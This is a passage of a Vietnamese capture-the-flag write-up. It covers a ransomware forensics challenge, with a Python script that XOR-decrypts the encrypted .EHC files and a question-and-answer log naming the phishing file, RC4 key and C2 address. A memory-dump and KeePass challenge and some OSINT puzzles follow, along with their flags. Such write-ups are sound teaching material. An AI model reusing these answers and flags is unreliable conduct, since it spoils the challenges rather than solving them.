".zip"), # docx/xlsx/pptx are ZIP-based; đuôi sẽ là .zip nếu không rõ (b"MZ", ".exe"), # exe/dll; không phân biệt được -> tạm .exe ] FLAG_RE = re.compile(rb"HOLACTF\{[^}]{0,200}\}") def guess_ext(plain_head: bytes) -> str: head = plain_head[:32] # strong matches first for sig, ext in MAGICS: if sig in head: return ext # try TXT if looks mostly printable textish = sum(32 <= b < 127 or b in (9,10,13) for b in plain_head[:512]) if textish >= 0.90 * min(512, len(plain_head)): return ".txt" return ".bin" def xor_stream_file(in_path: Path, out_path: Path): out_path.parent.mkdir(parents=True, exist_ok=True) md5 = hashlib.md5() flag_hits = [] # đọc 64KB/chunk, giữ offset để lặp key đúng vị trí offset = 0 with in_path.open("rb") as fi, out_path.open("wb") as fo: while True: chunk = fi.read(65536) if not chunk: break dec = bytes(b ^ KEY[(offset + i) % KEYLEN] for i, b in enumerate(chunk)) fo.write(dec) md5.update(dec) # quét flag trong mỗi chunk (có thể cross-boundary nhưng đủ để phát hiện đa số trường hợp) m = FLAG_RE.search(dec) if m: try: flag_hits.append(m.group().decode("utf-8")) except UnicodeDecodeError: pass offset += len(chunk) return md5.hexdigest(), flag_hits def peek_plain_head(in_path: Path, max_bytes=4096) -> bytes: # Giải mã nhanh phần đầu để đoán đuôi head = in_path.read_bytes()[:max_bytes] dec = bytes(b ^ KEY[i % KEYLEN] for i, b in enumerate(head)) return dec def main(): root = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(".") if not root.exists(): print(f"[-] Không thấy thư mục: {root}") sys.exit(1) targets = [p for p in root.rglob("*") if p.is_file() and p.suffix.lower() == ".ehc"] if not targets: print("[-] Không tìm thấy file .EHC nào. Đặt các file mã hoá vào thư mục rồi chạy lại.") sys.exit(0) print(f"[+] Tìm thấy {len(targets)} file .EHC. Bắt đầu giải vào: {OUT_ROOT.resolve()}") total_flag_hits = [] for src in targets: # Đoán đuôi trước để đặt tên plain_head = peek_plain_head(src, 4096) ext = guess_ext(plain_head) rel = src.relative_to(root) base_name = src.stem # bỏ .EHC dst = OUT_ROOT / rel.parent / f"{base_name}{ext}" md5, hits = xor_stream_file(src, dst) hit_note = "" if "flag" in base_name.lower(): hit_note = " <-- possible FLAG by name" if hits: hit_note = f" <-- FLAG CONTENT FOUND: {hits[0]}" total_flag_hits.extend(hits) print(f"[OK] {src} -> {dst.name} (md5:{md5}){hit_note}") if total_flag_hits: # Nếu thấy nhiều, in cái đầu print("\n[!] Phát hiện FLAG trong nội dung:") for s in total_flag_hits[:5]: s_clean = s.strip() md5_str = hashlib.md5(s_clean.encode()).hexdigest() print(f" {s_clean} | MD5(content)={md5_str}") print("\n=> Lấy MD5(content) ở trên nộp Q9.") else: print("\n[i] Không tự động thấy 'HOLACTF{...}'. Nếu bạn biết file 'flag.txt.EHC', mở bản giải ở decrypted_out/ tương ứng rồi băm MD5 nội dung.") if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/BJdBBGM5eg.png) ![image](https://hackmd.io/_uploads/BkDIHGMqgl.png) ![image](https://hackmd.io/_uploads/S1TvHff5gx.png) ![image](https://hackmd.io/_uploads/B1xKYHMG9xe.png) > `0e2c58ea5f51647dc2f81a03b43b6580` ```bash! ___ __ __ ___ ___ __ __ __ ___ ___ | | |__ | / ` / \ |\/| |__ | / \ |__| / \ | /\ / ` | |__ |/\| |___ |___ \__, \__/ | | |___ | \__/ | | \__/ |___ /~~\ \__, | | === FPTU Ethical Hackers Club === Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software? Ex: Skype Ans: Thunderbird Correct! Q2: What is the name of the file that makes user fall into the attacker's trap? Ex: example.js Ans: diemchuan.html Correct! Q3: What MITRE ATT&CK techniques did the attacker use? Ex: T1234.001 Ans: T1566.001 Correct! Q4: What is the domain of the website where the malicious file for stage 2 is located? Ex: mediafire.com Ans: sakamoto.moe Correct! Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded? Ex: payload.enc Ans: steam.enc Correct! Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex) Ex: AES_0x1a,0x2b,0x3c,0x4d,... Ans: RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01 Correct! Q7: In stage 3, which C2 IP address is the user's network traffic transmit to? Ex: 192.168.1.1 Ans: 192.168.244.129 Correct! Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ? Ex: ehc.mp3 Ans: video.mp4 Correct! Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit) Ex: 4a34decdd3494446ff0546364aa975b5 Ans: 0e2c58ea5f51647dc2f81a03b43b6580 Correct! Here is your flag: HOLACTF{dung_8a0_G1O_c11Ck_vAo_Str4nG3_1lLE_nHe_4hUHu_7cf9548c805c} ``` --- ### First step into forensics ![image](https://hackmd.io/_uploads/H1y-_ol5eg.png) Cú pháp `strings - grep` luôn hữu dụng với anh em 4n6, author để hint rất lớn này, với đề bài author cho, ta có: ![image](https://hackmd.io/_uploads/r1c833e5eg.png) Mình nhìn thấy 3 file này, và với việc file zip không có pass giải, mình tự dựng được flow điều tra trong đầu là ntn: `pass cho file kdbx ở file dmp ~200mb => pass zip cho file zip dmp thứ 2 ở file kdbx => flag ở file dmp trong file zip` Tuy nhiên thì với những file như này bản chất thì mình phải dùng windbg để tìm chỗ chứa pass, nhưng may mắn là author cho mình hint to rồi (strings-grep), vì vậy mình cứ thế ứng dụng vô: Luẩn quẩn 1 vòng xung quanh grep `.kdbx` thì mình cũng tìm được: ![image](https://hackmd.io/_uploads/B1uI63x5ex.png) > Pass kdbx: first_stage_of_this_chall Tiếp tục mở file kdbx và tìm: ![image](https://hackmd.io/_uploads/SkX963xcgg.png) Ta được pass file zip và cuối cùng là strings grep với format flag thôi: ![image](https://hackmd.io/_uploads/rJsgCnx9ex.png) > Flag: HOLACTF{Oeocam_to_HolaCTF2025!!!!} --- ## OSINT ### EHC is my family ![image](https://hackmd.io/_uploads/HyJX_ie5gl.png) Bài cho ảnh clb chụp ở giải Digital Dragon, tổ chức ở Đà Nẵng, dễ dàng ta tìm kiếm được đó là trường nào: > Flag: HOLACTF{truong_dai_hoc_cong_nghe_thong_tin_va_truyen_thong_viet_han} --- ### HolaCTF💕💕 ![image](https://hackmd.io/_uploads/SJT7Oseqgl.png) Bài cho mình 1 ảnh từ giải HOLACTF 2023, tìm lại bài đăng của page clb ở fb, mình thấy được cmt mới nhất của author: ![image](https://hackmd.io/_uploads/HyqLnjg9lg.png) Ta có được `ohepu://pbd.wysvtlyox.cqf/u/KTylGddAuMn/`, mình dùng Vigenere decode với key holactf (cái này mình đoán bừa ai ngờ trúng) có được: ![image](https://hackmd.io/_uploads/ry9o2ig5el.png) > https://www.instagram.com/p/DFnlEkyTgBn/ > ![image](https://hackmd.io/_uploads/ryQA3je5xe.png) ![image](https://hackmd.io/_uploads/Syze6sgceg.png) Để ý ở góc dưới bên phải có đường link hiện vài giây sau đó ẩn, nhìn kỹ thì nhận ra được đó là: > https://anhshidou.github.io/ > ![image](https://hackmd.io/_uploads/rJf5pog9xx.png) Tuy nhiên thì web không tương tác được, kiểm tra mã nguồn: ```javascript! <!DOCTYPE html> <html> <header> <div class = "header"> <img src = "resources/thumb-1920-429845.png" alt = "image" width = "50%" height = "10%"> </div> </header> <head> <title>Welcome</title> <link rel="stylesheet" type="text/css" href="style.css"> <!-- Tôi đã để lại cái gì ở ctf.fumosquad-ehc.xyz? --> </head> <body> <h1>Không có gì</h1> <p><div class = label>Chao anh em, flag o day, chuc anh em thanh cong, hay tim dap an thong qua con web nay nhe (web sử dụng công nghệ HTML và CSS)</p></div> <div class = "login"> <label for="username">Username:</label> <input type="text" id="username" name="username" required><br> <label for="password">Password:</label> <input type="password" id="password" name="password" required><br> <label for="flag">Flag:</label> <button type="submit">submit</button> </div> </body> <footer> <div class = "footer"> <img src = "resources/thumb-1920-523621.jpg" alt = "image" width = "50%" height = "10%"> </div> </footer> </html> ``` Chú ý đến `Tôi đã để lại cái gì ở ctf.fumosquad-ehc.xyz?`, hỏi AI một hồi thì mình có được: ![image](https://hackmd.io/_uploads/SyW-0se9ee.png) ![image](https://hackmd.io/_uploads/BJm7Coecxx.png) > Flag: HOLACTF{t01_d4_c0_g4ng_r4_d3_r0i} ---